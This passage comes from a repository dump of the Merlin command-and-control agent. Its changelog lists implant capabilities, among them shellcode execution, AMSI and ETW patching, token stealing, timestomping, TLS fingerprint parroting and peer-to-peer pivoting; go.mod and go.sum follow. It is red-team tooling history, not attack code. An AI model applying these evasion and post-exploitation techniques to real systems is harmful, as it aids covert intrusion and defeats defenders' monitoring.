handling\n- Configurable Agent authentication methods: OPAQUE & none\n  - Added `auth` variable to main.go\n  - Added `AUTH` variable to Make file (e.g., `make windows AUTH=OPAQUE`)\n  - Added `-auth` command line argument\n- Configurable Agent transforms: gob-base, gob-string, base64-byte, base64-string, hex,-byte, hex-string, aes, jwe, rc4, and xor\n  - Added `transforms` variable to main.go\n  - Added `TRANSFORMS` variable to Make file (e.g., `make windows TRANSFORMS=aes,gob-base)\n  - Added `-transforms` command line argument\n- `link` command for the Agent to initiate a peer-to-peer connection with a listening bind agent\n  - Example: `link tcp 192.168.1.72:4444`\n- `listener` command for the Agent to start a listener to receive a connection from a reverse peer-to-peer connection\n  - `list` to return a list of instantiated on the Agent (e.g., `listener list`)\n  - `start` to start a listener based on the passed in type and interface\n    - Example: `listener start tcp 0.0.0.0:4444`\n  - `stop` to stop an already created listener\n    - Example: `listener stop tcp [::]:4444`\n- `unlink` command to disconnect a chile peer-to-peer agent from its parent\n  - Example: `unlink childAgentID`\n- GitHub Actions for building and testing the Merlin Agent\n- Implemented \"services\" and \"repositories\"\n  - Services are: agent, client, job, message, and p2p\n- Configurable TLS x.509 certificate validation\n  - Default is `false`, TLS certificates are not validated\n  - Added `-secure` command line argument to require TLS X.509 certificate validation\n  - Added `SECURE` variable to Make file (e.g., `make windows SECURE=true`)\n\n### Changed\n\n- Moved from `Initial` to `Authenticated` for Agent struct\n- Removed tests\n- Upgraded [quic-go](https://github.com/quic-go/quic-go) to v0.40.0\n- The Minimum supported Go version is now 1.20\n- HTTP URL rotation strategy is now random instead of round-robin\n- Replaced `github.com/satori/go.uuid` with `github.com/google/uuid`\n- Replaced `github.com/square/go-jose` with `github.com/go-jose/go-jose`\n- Replaced `github.com/Ne0nd0g/merlin/pkg/messages` with `github.com/Ne0nd0g/merlin-message`\n  - Removes the need to depend on or import the Merlin Server package \n\n## 1.6.5 - 2023-06-10\n\n### Changed\n\n- Replaced manual Windows DLL and procedure loads for Golang's Windows package and moved remaining to `os/windows/api` directory\n- Replaced `PAGE_EXECUTE_READWRITE` with `PAGE_READWRITE` for shellcode memory allocation\n- Replaced `PAGE_EXECUTE` with `PAGE_EXECUTE_READ` after shellcode memory allocation\n\n### Fixed\n\n- [Issue 28](https://github.com/Ne0nd0g/merlin-agent/issues/28) - Use Golang's Windows package for API calls where possible\n\n## 1.6.4 - 2023-06-08\n\n### Changed\n\n- Updated the Mythic client to handle the new \"download\" workflow for Mythic v3.0.0\n\n## 1.6.3 - 2023-03-15\n\n### Fixed\n\n- [Issue 25](https://github.com/Ne0nd0g/merlin-agent/issues/25) - Updated Mythic CheckIn structure's PID to integer\n\n## 1.6.2 - 2023-03-08\n\n### Fixed\n\n- [Issue 22](https://github.com/Ne0nd0g/merlin-agent/issues/22) - Upgraded https://github.com/Ne0nd0g/merlin from v1.5.0 to v1.5.1\n\n### Security\n\n- [PR 23](https://github.com/Ne0nd0g/merlin-agent/pull/23) - Bump golang.org/x/net from 0.1.0 to 0.7.0 by dependabot\n\n## 1.6.1 - 2023-03-01\n\n### Fixed\n\n- [Issue 24](https://github.com/Ne0nd0g/merlin-agent/issues/24) - Adjusted the `shell` function call\n\n## 1.6.0 - 2022-11-11\n\n### Added\n\n- Parrot specific web browsers through [utls](https://github.com/refraction-networking/utls#parroting) library\n  - Use the agent's `-parrot` command line argument\n  - Use the Makefile's `PARROT=` command line argument\n  - Can be changed while the agent is already running\n  - Examples include `HelloChrome_102` or `HelloRandomized`\n  - [List of available strings](https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_common.go#L150)\n  - If a JA3 string is provided, the parrot string will be ignored\n\n### Changed\n\n- Require Go v1.19\n- The agent package `New()` function will only print errors to STDOUT instead of returning an error to ensure execution\n- JA3 transports are now generated from clients/utls\n- Upgraded go-clr to v1.0.3\n- Upgraded quic-go to v0.30.0\n\n### Fixed\n\n- [Issue 20](https://github.com/Ne0nd0g/merlin-agent/issues/20) - Manually get username & group for Windows\n- [Issue 21](https://github.com/Ne0nd0g/merlin-agent/issues/21) - Resolved file download re-write error\n\n### Removed\n\n- Removed [ja3transport](https://github.com/Ne0nd0g/ja3transport) module and moved code into clients/utls\n\n## 1.5.0 - 2022-07-22\n\n### Added\n\n- Added new SOCKS5 functionality\n\n### Changed\n\n- Go v1.18 is now the minimum supported version\n- Upgraded [quic-go](https://github.com/lucas-clemente/quic-go/) to v0.28.0\n- Upgraded [Go JOSE](https://github.com/square/go-jose) to v2.6.0\n- The `Send()` of the `ClientInterface` interface returns a list of messages.Base instead of a single message\n- Initial checkin immediately responds to first AgentInfo request after authenticating instead of after sleep time\n\n### Fixed\n\n- [Issue 17](https://github.com/Ne0nd0g/merlin-agent/issues/17) - Ensure process structure pointer is not nil\n\n## 1.4.2 - 2022-05-03\n\n### Fixed\n\n- [Issue 9](https://github.com/Ne0nd0g/merlin-agent/issues/9) - Replaced `TokenGroup` with `TokenUser`\n- [Issue 14](https://github.com/Ne0nd0g/merlin-agent/issues/14) - Let writer close channel and don't try to close STDIN\n- [Issue 16](https://github.com/Ne0nd0g/merlin-agent/issues/16) - Handle `jobs.Results` & `jobs.AgentInfo` in `jobsHandler()`\n\n## 1.4.1 - 2022-04-12\n\n### Added\n\n- Go build tags to separate out Mythic client from standalone HTTP1/2/3 client\n- Added `SLEEP` to Make file (e.g., `make windows SLEEP=2m`)\n\n### Fixed\n\n- [Issue 13](https://github.com/Ne0nd0g/merlin-agent/issues/13) - Added byte slice variable as a workaround\n\n### Changed\n\n- Upgraded [quic-go](https://github.com/lucas-clemente/quic-go/) to v0.27.0 for Go 1.18 support\n\n## 1.4.0 - 2022-04-02\n\n### Added\n\n- Added a new `memory` command for Windows agents to read/write memory \n  - Uses direct syscalls for `NtReadVirtualMemory`, `NtProtectVirtualMemory`, & `ZwWriteVirtualMemory` implemented using [BananaPhone](https://github.com/C-Sto/BananaPhone)\n  - The commands take module name (e.g., `ntdll.dll`) and a procedure name (e.g., `EtwEventWrite`) to target read/write operations\n  - The `read` command will just read the specified number of bytes and return the results\n  - The `write` command will just write the specified bytes without reading them first\n  - The `patch` command will find a specified function, read the existing bytes, and then overwrite it with the provided bytes\n- Added `AmsiScanBuffer` patch when loading assemblies into the agent process through the `load-assembly` command\n\n### Changed\n\n- Upgraded go-clr package to tagged version 1.0.2\n\n## 1.3.1 - 2022-03-22\n\n### Added\n\n- Added [Garble](https://github.com/burrowers/garble) builds to the Make file\n  - `windows-garble`, `linux-garble`, & `darwin-garble`\n  - **THE SERVER MUST BE GARBLED WITH THE EXACT SAME SEED**\n  - Specify the seed at build with `make windows-debug SEED=<your seed valuee>`\n- Added `GetProcessWindowStation` and `GetThreadDesktop` functions in the `user32` package\n\n### Changed\n\n- Renamed the `SendMerlinMessage` function of the `ClientInterface` to just `Send()`\n- Modified `CreateProcessWithToken` function in the `windows/os/pkg/tokens` package to adjust the caller's station and\n  desktop DACLs if the token user belongs to a different session\n\n### Fixed\n\n- [Issue 10](https://github.com/Ne0nd0g/merlin-agent/issues/10) - The `shell` command now uses associated impersonation token\n- [Issue 11](https://github.com/Ne0nd0g/merlin-agent/issues/11) - The token is now passed along with execution\n- [Issue 12](https://github.com/Ne0nd0g/merlin-agent/issues/12) - If running as `NT AUTHORITY\\SYSTEM` with an \nimpersonation token, Call [LogonUserW](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw)\n and then [CreateProcessWithTokenW](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw) \n instead of [CreateProcessWithLogon](https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw)\n with Merlin's `runas` command\n\n## 1.3 - 2022-02-17\n\n### Changed\n\n- Added the `Integrity` field to the Agent structure\n- Added message padding to the following Mythic messages types for the Mythic client:\n  - CheckIn\n  - Tasking\n  - PostResponse\n  - RSARequest\n  - PostResponseFile\n  - PostResponseDownload\n\n### Added\n\n- Added `os.GetIntegrityLevel()` to enumerate the agent's integrity level or elevated status\n  - Windows: `2`-Medium, `3`-High, `4`-System\n  - All other OS: `3` - member of sudo group, `4` - running as root\n- Added a random amount of message padding, up to the padding max value, to HTTP post requests for the Mythic client\n\n## 1.2.1 - 2022-01-10\n\n### Fixed\n\n- [Issue 6](https://github.com/Ne0nd0g/merlin-agent/issues/6) - Message padding is now a random length instead of a fixed length\n- [Issue 7](https://github.com/Ne0nd0g/merlin-agent/issues/6) - Windows Access Token now persists between commands\n\n## 1.2.0 - 2021-12-12\n\n### Added\n\n- `rm` command to remove, or delete, files using native Go functions\n- `runas` Windows command to create a process as another user with their password\n- `ssh` Connect to a remote host over SSH and execute a command (non-interactive)\n- `token` Windows command to interact with Windows Access Tokens\n  - `make` Create a new token with a username and password; Unlisted `make_token` alias\n  - `privs` List the current or remote process token privileges\n  - `rev2self` Drop any created or stolen access token and revert to original configuration; Unlisted `rev2self` alias\n  - `steal` Steal a token from another process; Unlisted `steal_token` alias\n  - `whoami` Enumerate process and thread token username, logon ID, privilege count, token type, impersonation level, and integrity level\n- New `os/windows/api` directory for operating system specific API and system calls\n- New `os/windows/pkg` directory for functions that wrap operating system specific calls\n- Added `commands/os` with `Setup()` and `TearDown()` functions to prep and release process space before executing any commands\n  - Due to how the Go runtime works, stolen/created Windows access token must be applied/released for each run of a command\n- Add both a `-headers` command line argument and `HEADERS=` Make parameter to add arbitrary HTTP headers\n  - The flag takes in a new-line seperated (e.g., `\\n`) list of headers\n- FreeBSD Makefile build support from [paullj1](https://github.com/paullj1) in [Pull 3](https://github.com/Ne0nd0g/merlin-agent/pull/3)\n- Read STDIN for 500 milliseconds for agent argument from [paullj1](https://github.com/paullj1) in [Pull 3](https://github.com/Ne0nd0g/merlin-agent/pull/3)\n\n### Changed\n\n- Broke the `commands/transfer.go` file into `commands/download.go` and `commands/upload.go`\n- The `ls` command can now handle Windows UNC paths\n- The `run`, `shell`, `execute-assembly`, `execute-pe`, & `execute-shellcode` commands will use the Windows CreateProcessWithTokenW function call if a token was stolen/created\n- Updated [go-quic](https://github.com/lucas-clemente/quic-go/) library to v0.24.0\n\n### Fixed\n\n- [Issue 117](https://github.com/Ne0nd0g/merlin/issues/117) - Added random padding to OPAQUE messages\n\n## 1.1.0 - August 4, 2021\n\n### Added\n\n- Incorporated a lot of changes by [r00t0v3rr1d3](https://github.com/r00t0v3rr1d3) & [deviousbanana](https://github.com/deviousbanana) from their [fork](https://github.com/r00t0v3rr1d3/merlin/tree/dev)\n- `ifconfig`/`ipconfig`: Prints host network adapter information. Windows hosts use API calls to get extra info (e.g., DHCP) from https://github.com/r00t0v3rr1d3/merlin/commit/42a12af99610e439721cbd095a2d55523e7cbc94\n- Agent and AgentInfo structs contain `Process` name from https://github.com/r00t0v3rr1d3/merlin/commit/cbf875427123e6a58a528d0e38a692c2308f09c9\n- Added the `kill` command to kill a running process by its process ID (PID)\n- Provide a comma seperated list of URLs that Merlin will rotate through for each POST request\n  - Example `-url https://127.0.0.1/news.php,https://127.0.0.1/admin/get.php`\n- When using http or https protocol, the connection only appears in netstat for one second or less\n- Added `sdelete` command to securely delete a file\n- Added `touch`, alias is `timestomp`, command that matches the destination file's timestamps with source file\n- Added `ps` command that returns a process listing for Windows agents\n- Added `netstat` that displays network connection for Windows agents (tcp, tcp6, udp, udp6)\n- Added Windows only `pipes` command to list named pipes\n- Added Windows only `uptime` command to print the target system's uptime\n- Added `env` command: View and modify environment variables. \"set\" will create a new variable if it didn't exist\n  * Usage: `env showall`\n  * Usage: `env get PATH`\n  * Usage: `env set CUSTOM \"my desired value\"`\n  * Usage: `env unset HISTFILE`\n\n### Changed\n\n- The command used to instruct the agent to quit running is now `exit`\n- The Merlin agent Client structure, URL structure, now takes a slice of URLs as a string as opposed to just 1 string\n\n## 1.0.2 - June 25, 2021\n\n### Added\n\n- Use HTTP_PROXY, HTTPS_PROXY & NO_PROXY environment variables if a proxy was not explicitly provided\n\n### Fixed\n\n- Incorrectly used `https` for [TLS ALPN Protocol ID](https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids)\n\n## 1.0.1 - May 29, 2021\n\n### Fixed\n\n- [Issue 1](https://github.com/Ne0nd0g/merlin-agent/issues/1) - Added `job.Token` for Minidump command response message\n\n### Added\n\n- `windows-debug` build to Make file; Removes hidden window attribute to view STDOUT/STDERR when troubleshooting\n\n## 1.0.0 - April 17, 2021\n\n- Initial commit\n- Moved agent code from github.com/Ne0nd0g/merlin/pkg/agent"
  },
  {
    "path": "docs/ISSUE_TEMPLATE.md",
    "content": "### Prerequisite\n\n* [ ] I have searched the opened & _closed_ [issues](https://github.com/Ne0nd0g/merlin-agent/issues)\n* [ ] I have searched the [WIKI](https://merlin-c2.readthedocs.io/en/latest/index.html) and its [FAQ](https://merlin-c2.readthedocs.io/en/latest/quickStart/faq.html) page\n\n### Environment Data\n\n* Merlin Agent Version:\n* Merlin Agent Build:\n* Operating System:\n\nIf you're building from source, please provide the following information:\n* Go Version:\n* GOPATH Environment Variable:\n* GOROOT Environment Variable:\n\n### Actual Behavior\n\n### Expected Behavior\n\n### Steps to Reproduce Behavior\n\n### Misc Information\n"
  },
  {
    "path": "docs/PULL_REQUEST_TEMPLATE.md",
    "content": "\n### Pull Request (PR) Checklist\n- [ ] PR is from **a topic/feature/bugfix branch** off the **dev branch** (right side)\n- [ ] PR is against the **dev branch** (left side)\n- [ ] Code compiles without errors\n- [ ] Passes linting checks and unit tests\n- [ ] Updated [CHANGELOG](./CHANGELOG.MD)\n- [ ] Updated README documentation (if applicable)\n\n### Change Type\n- [ ] Addition\n- [ ] Bugfix\n- [ ] Modification\n- [ ] Removal\n- [ ] Security\n\n### Description\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/Ne0nd0g/merlin-agent/v2\n\ngo 1.23.0\n\ntoolchain go1.24.2\n\nrequire (\n\tgithub.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761\n\tgithub.com/Ne0nd0g/go-clr v1.0.3\n\tgithub.com/Ne0nd0g/merlin-message v1.3.0\n\tgithub.com/Ne0nd0g/npipe v1.1.0\n\tgithub.com/Ne0nd0g/winhttp v1.0.0\n\tgithub.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5\n\tgithub.com/cretz/gopaque v0.1.0\n\tgithub.com/fatih/color v1.17.0\n\tgithub.com/go-jose/go-jose/v3 v3.0.4\n\tgithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510\n\tgithub.com/google/uuid v1.6.0\n\tgithub.com/quic-go/quic-go v0.50.1\n\tgithub.com/refraction-networking/utls v1.6.7\n\tgolang.org/x/crypto v0.37.0\n\tgolang.org/x/net v0.39.0\n\tgolang.org/x/sys v0.32.0\n\tgolang.org/x/text v0.24.0\n)\n\nrequire (\n\tgithub.com/Binject/debug v0.0.0-20211007083345-9605c99179ee // indirect\n\tgithub.com/andybalholm/brotli v1.1.1 // indirect\n\tgithub.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect\n\tgithub.com/cloudflare/circl v1.4.0 // indirect\n\tgithub.com/go-task/slim-sprig/v3 v3.0.0 // indirect\n\tgithub.com/google/pprof v0.0.0-20250403155104-27863c87afa6 // indirect\n\tgithub.com/klauspost/compress v1.17.10 // indirect\n\tgithub.com/mattn/go-colorable v0.1.13 // indirect\n\tgithub.com/mattn/go-isatty v0.0.20 // indirect\n\tgithub.com/onsi/ginkgo/v2 v2.23.4 // indirect\n\tgithub.com/quic-go/qpack v0.5.1 // indirect\n\tgo.dedis.ch/fixbuf v1.0.3 // indirect\n\tgo.dedis.ch/kyber/v3 v3.1.0 // indirect\n\tgo.uber.org/automaxprocs v1.6.0 // indirect\n\tgo.uber.org/mock v0.5.1 // indirect\n\tgolang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0 // indirect\n\tgolang.org/x/mod v0.24.0 // indirect\n\tgolang.org/x/sync v0.13.0 // indirect\n\tgolang.org/x/tools v0.32.0 // indirect\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/Binject/debug v0.0.0-20200830173345-f54480b6530f/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=\ngithub.com/Binject/debug v0.0.0-20211007083345-9605c99179ee h1:neBp9wDYVY4Uu1gGlrL+IL4JeZslz+hGEAjBXGAPWak=\ngithub.com/Binject/debug v0.0.0-20211007083345-9605c99179ee/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=\ngithub.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761 h1:0144WWUvo86bVDEkxb3vmM92DCEsrkSYSd5gV1YlGKE=\ngithub.com/C-Sto/BananaPhone v0.0.0-20220220002628-6585e5913761/go.mod h1:QsEPWHZooj8uXL2YEdpQX+hDr00Plw7myenTiduBHRA=\ngithub.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=\ngithub.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=\ngithub.com/Ne0nd0g/merlin-message v1.3.0 h1:HelXwN6Gtk80C2ted0+PAprq+zRiQRGLG6s6phyFY5o=\ngithub.com/Ne0nd0g/merlin-message v1.3.0/go.mod h1:6eAh2KI4XrOAF+y4W2DN0qfRVWiAGzYlq148iKe3sSA=\ngithub.com/Ne0nd0g/npipe v1.1.0 h1:oTDJfD8yrr2BLGZpKEllCmeGpcbmx6LW1uuS2bxIBoM=\ngithub.com/Ne0nd0g/npipe v1.1.0/go.mod h1:GKyLKRkYambQuI9VIfMrz1Mf5hOGlEvZkhw1chph/IQ=\ngithub.com/Ne0nd0g/winhttp v1.0.0 h1:udvGuikkm04aW527YBlYT01hLDtGaYrL60Xq2yv3vU8=\ngithub.com/Ne0nd0g/winhttp v1.0.0/go.mod h1:zWg/r3XLzjPGuTBR4p9Ke2u3SlGxVaYNRPtYxmnkr8Q=\ngithub.com/andybalholm/brotli v1.1.1 h1:PR2pgnyFznKEugtsUo0xLdDop5SKXd5Qf5ysW+7XdTA=\ngithub.com/andybalholm/brotli v1.1.1/go.mod h1:05ib4cKhjx3OQYUY22hTVd34Bc8upXjOLL2rKwwZBoA=\ngithub.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio=\ngithub.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=\ngithub.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=\ngithub.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=\ngithub.com/cloudflare/circl v1.4.0 h1:BV7h5MgrktNzytKmWjpOtdYrf0lkkbF8YMlBGPhJQrY=\ngithub.com/cloudflare/circl v1.4.0/go.mod h1:PDRU+oXvdD7KCtgKxW95M5Z8BpSCJXQORiZFnBQS5QU=\ngithub.com/cretz/gopaque v0.1.0 h1:rC+coO7LzXnstyG7FmwK0XD7oV93tg9EZ+Fl2yZOeto=\ngithub.com/cretz/gopaque v0.1.0/go.mod h1:0npz8L/gL98OX2nWKF8WRSP8ZCAg89UKBBrBVrDXJQg=\ngithub.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/fatih/color v1.17.0 h1:GlRw1BRJxkpqUCBKzKOw098ed57fEsKeNjpTe3cSjK4=\ngithub.com/fatih/color v1.17.0/go.mod h1:YZ7TlrGPkiz6ku9fK3TLD/pl3CpsiFyu8N92HLgmosI=\ngithub.com/go-jose/go-jose/v3 v3.0.4 h1:Wp5HA7bLQcKnf6YYao/4kpRpVMp/yf6+pJKV8WFSaNY=\ngithub.com/go-jose/go-jose/v3 v3.0.4/go.mod h1:5b+7YgP7ZICgJDBdfjZaIt+H/9L9T/YQrVfLAMboGkQ=\ngithub.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY=\ngithub.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=\ngithub.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=\ngithub.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=\ngithub.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=\ngithub.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=\ngithub.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J0b1vyeLSOYI8bm5wbJM/8yDe8=\ngithub.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=\ngithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4=\ngithub.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ=\ngithub.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=\ngithub.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\ngithub.com/klauspost/compress v1.17.10 h1:oXAz+Vh0PMUvJczoi+flxpnBEPxoER1IaAnU/NMPtT0=\ngithub.com/klauspost/compress v1.17.10/go.mod h1:pMDklpSncoRMuLFrf1W9Ss9KT+0rH90U12bZKk7uwG0=\ngithub.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=\ngithub.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=\ngithub.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=\ngithub.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=\ngithub.com/onsi/ginkgo/v2 v2.23.4 h1:ktYTpKJAVZnDT4VjxSbiBenUjmlL/5QkBEocaWXiQus=\ngithub.com/onsi/ginkgo/v2 v2.23.4/go.mod h1:Bt66ApGPBFzHyR+JO10Zbt0Gsp4uWxu5mIOTusL46e8=\ngithub.com/onsi/gomega v1.36.3 h1:hID7cr8t3Wp26+cYnfcjR6HpJ00fdogN6dqZ1t6IylU=\ngithub.com/onsi/gomega v1.36.3/go.mod h1:8D9+Txp43QWKhM24yyOBEdpkzN8FvJyAwecBgsU4KU0=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/prashantv/gostub v1.1.0 h1:BTyx3RfQjRHnUWaGF9oQos79AlQ5k8WNktv7VGvVH4g=\ngithub.com/prashantv/gostub v1.1.0/go.mod h1:A5zLQHz7ieHGG7is6LLXLz7I8+3LZzsrV0P1IAHhP5U=\ngithub.com/quic-go/qpack v0.5.1 h1:giqksBPnT/HDtZ6VhtFKgoLOWmlyo9Ei6u9PqzIMbhI=\ngithub.com/quic-go/qpack v0.5.1/go.mod h1:+PC4XFrEskIVkcLzpEkbLqq1uCoxPhQuvK5rH1ZgaEg=\ngithub.com/quic-go/quic-go v0.50.1 h1:unsgjFIUqW8a2oopkY7YNONpV1gYND6Nt9hnt1PN94Q=\ngithub.com/quic-go/quic-go v0.50.1/go.mod h1:Vim6OmUvlYdwBhXP9ZVrtGmCMWa3wEqhq3NgYrI8b4E=\ngithub.com/refraction-networking/utls v1.6.7 h1:zVJ7sP1dJx/WtVuITug3qYUq034cDq9B2MR1K67ULZM=\ngithub.com/refraction-networking/utls v1.6.7/go.mod h1:BC3O4vQzye5hqpmDTWUqi4P5DDhzJfkV1tdqtawQIH0=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=\ngithub.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg=\ngithub.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=\ngithub.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU=\ngithub.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E=\ngithub.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=\ngo.dedis.ch/fixbuf v1.0.3 h1:hGcV9Cd/znUxlusJ64eAlExS+5cJDIyTyEG+otu5wQs=\ngo.dedis.ch/fixbuf v1.0.3/go.mod h1:yzJMt34Wa5xD37V5RTdmp38cz3QhMagdGoem9anUalw=\ngo.dedis.ch/kyber/v3 v3.0.4/go.mod h1:OzvaEnPvKlyrWyp3kGXlFdp7ap1VC6RkZDTaPikqhsQ=\ngo.dedis.ch/kyber/v3 v3.0.9/go.mod h1:rhNjUUg6ahf8HEg5HUvVBYoWY4boAafX8tYxX+PS+qg=\ngo.dedis.ch/kyber/v3 v3.0.12/go.mod h1:kXy7p3STAurkADD+/aZcsznZGKVHEqbtmdIzvPfrs1U=\ngo.dedis.ch/kyber/v3 v3.1.0 h1:ghu+kiRgM5JyD9TJ0hTIxTLQlJBR/ehjWvWwYW3XsC0=\ngo.dedis.ch/kyber/v3 v3.1.0/go.mod h1:kXy7p3STAurkADD+/aZcsznZGKVHEqbtmdIzvPfrs1U=\ngo.dedis.ch/protobuf v1.0.5/go.mod h1:eIV4wicvi6JK0q/QnfIEGeSFNG0ZeB24kzut5+HaRLo=\ngo.dedis.ch/protobuf v1.0.7/go.mod h1:pv5ysfkDX/EawiPqcW3ikOxsL5t+BqnV6xHSmE79KI4=\ngo.dedis.ch/protobuf v1.0.11 h1:FTYVIEzY/bfl37lu3pR4lIj+F9Vp1jE8oh91VmxKgLo=\ngo.dedis.ch/protobuf v1.0.11/go.mod h1:97QR256dnkimeNdfmURz0wAMNVbd1VmLXhG1CrTYrJ4=\ngo.uber.org/automaxprocs v1.6.0 h1:O3y2/QNTOdbF+e/dpXNNW7Rx2hZ4sTIPyybbxyNqTUs=\ngo.uber.org/automaxprocs v1.6.0/go.mod h1:ifeIMSnPZuznNm6jmdzmU3/bfk01Fe2fotchwEFJ8r8=\ngo.uber.org/mock v0.5.1 h1:ASgazW/qBmR+A32MYFDB6E2POoTgOwT509VP0CT/fjs=\ngo.uber.org/mock v0.5.1/go.mod h1:ge71pBPLYDk7QIi1LupWxdAykm7KIEFchiOqd6z7qMM=\ngolang.org/x/crypto v0.0.0-20190123085648-057139ce5d2b/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=\ngolang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=\ngolang.org/x/crypto v0.37.0 h1:kJNSjF/Xp7kU0iB2Z+9viTPMW4EqqsrywMXLJOOsXSE=\ngolang.org/x/crypto v0.37.0/go.mod 